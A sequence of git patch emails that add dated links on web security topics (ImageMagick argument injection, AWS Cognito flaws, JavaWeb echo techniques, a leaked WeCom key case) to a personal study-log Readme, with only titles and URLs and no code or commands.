00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Tue, 6 Jun 2023 11:38:22 +0800 Subject: [PATCH 250/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 5352177..a075ebe 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -317,3 +317,4 @@ + 2023/06/04 [cname记录是什么？他存在的意义是什么？](https://www.zhihu.com/question/22916306) + 2023/06/05 [ImageMagick 参数注入](https://github.com/ImageMagick/ImageMagick/issues/6338) + 2023/06/05 [为什么我们需要收集URL?](https://mp.weixin.qq.com/s/nhU9gbRot3X8D_1AvkirUA) ++ 2023/06/06 [justCTF2023-AWS Cognito认证服务的安全隐患](https://hpdoger.cn/2023/06/05/title:%20justCTF2023-AWS%20Cognito%E8%AE%A4%E8%AF%81%E6%9C%8D%E5%8A%A1%E7%9A%84%E5%AE%89%E5%85%A8%E9%9A%90%E6%82%A3/) **学习** From f1260ae49ecb1bda1c91811608fef7c3f5e15e2c Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Fri, 16 Jun 2023 21:25:27 +0800 Subject: [PATCH 251/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index a075ebe..b4ac6f6 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -318,3 +318,4 @@ + 2023/06/05 [ImageMagick 参数注入](https://github.com/ImageMagick/ImageMagick/issues/6338) + 2023/06/05 [为什么我们需要收集URL?](https://mp.weixin.qq.com/s/nhU9gbRot3X8D_1AvkirUA) + 2023/06/06 [justCTF2023-AWS Cognito认证服务的安全隐患](https://hpdoger.cn/2023/06/05/title:%20justCTF2023-AWS%20Cognito%E8%AE%A4%E8%AF%81%E6%9C%8D%E5%8A%A1%E7%9A%84%E5%AE%89%E5%85%A8%E9%9A%90%E6%82%A3/) **学习** ++ 2023/06/16 [NGINX缓存原理及源码分析(一)](https://zhuanlan.zhihu.com/p/420983450) From ce6588308a2a340a77849833733c5fe65422f3a5 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Fri, 16 Jun 2023 21:29:01 +0800 Subject: [PATCH 252/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index b4ac6f6..30e3f6b 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -318,4 +318,4 @@ + 2023/06/05 [ImageMagick 参数注入](https://github.com/ImageMagick/ImageMagick/issues/6338) + 2023/06/05 [为什么我们需要收集URL?](https://mp.weixin.qq.com/s/nhU9gbRot3X8D_1AvkirUA) + 2023/06/06 [justCTF2023-AWS Cognito认证服务的安全隐患](https://hpdoger.cn/2023/06/05/title:%20justCTF2023-AWS%20Cognito%E8%AE%A4%E8%AF%81%E6%9C%8D%E5%8A%A1%E7%9A%84%E5%AE%89%E5%85%A8%E9%9A%90%E6%82%A3/) **学习** -+ 2023/06/16 [NGINX缓存原理及源码分析(一)](https://zhuanlan.zhihu.com/p/420983450) ++ 2023/06/16 [NGINX缓存原理及源码分析(一)](https://zhuanlan.zhihu.com/p/420983450) [cdn原理分析-本地搭建cdn模拟访问过程](https://mp.weixin.qq.com/s/u-VWrrdlkRzKs7u04EPV-g) From 3d3b9f1907662f851cf7cd698762795d43368502 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Sun, 2 Jul 2023 22:34:14 +0800 Subject: [PATCH 253/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 30e3f6b..c6adbcc 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -319,3 +319,4 @@ + 2023/06/05 [为什么我们需要收集URL?](https://mp.weixin.qq.com/s/nhU9gbRot3X8D_1AvkirUA) + 2023/06/06 [justCTF2023-AWS Cognito认证服务的安全隐患](https://hpdoger.cn/2023/06/05/title:%20justCTF2023-AWS%20Cognito%E8%AE%A4%E8%AF%81%E6%9C%8D%E5%8A%A1%E7%9A%84%E5%AE%89%E5%85%A8%E9%9A%90%E6%82%A3/) **学习** + 2023/06/16 [NGINX缓存原理及源码分析(一)](https://zhuanlan.zhihu.com/p/420983450) [cdn原理分析-本地搭建cdn模拟访问过程](https://mp.weixin.qq.com/s/u-VWrrdlkRzKs7u04EPV-g) ++ 2023/07/02 [一种基于规则的 JavaWeb 回显方案](https://mp.weixin.qq.com/s/hIPz0LEk_OW_IpUbfKBYMg) From f66350052c3674c4c090cb24524b0559af905e33 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Tue, 11 Jul 2023 15:47:41 +0800 Subject: [PATCH 254/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index c6adbcc..a8914bd 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -320,3 +320,4 @@ + 2023/06/06 [justCTF2023-AWS Cognito认证服务的安全隐患](https://hpdoger.cn/2023/06/05/title:%20justCTF2023-AWS%20Cognito%E8%AE%A4%E8%AF%81%E6%9C%8D%E5%8A%A1%E7%9A%84%E5%AE%89%E5%85%A8%E9%9A%90%E6%82%A3/) **学习** + 2023/06/16 [NGINX缓存原理及源码分析(一)](https://zhuanlan.zhihu.com/p/420983450) [cdn原理分析-本地搭建cdn模拟访问过程](https://mp.weixin.qq.com/s/u-VWrrdlkRzKs7u04EPV-g) + 2023/07/02 [一种基于规则的 JavaWeb 回显方案](https://mp.weixin.qq.com/s/hIPz0LEk_OW_IpUbfKBYMg) ++ 2023/07/11 [企业微信密钥泄露利用小案例](https://mp.weixin.qq.com/s/mptsykGJHmRC87dYqFFqMw)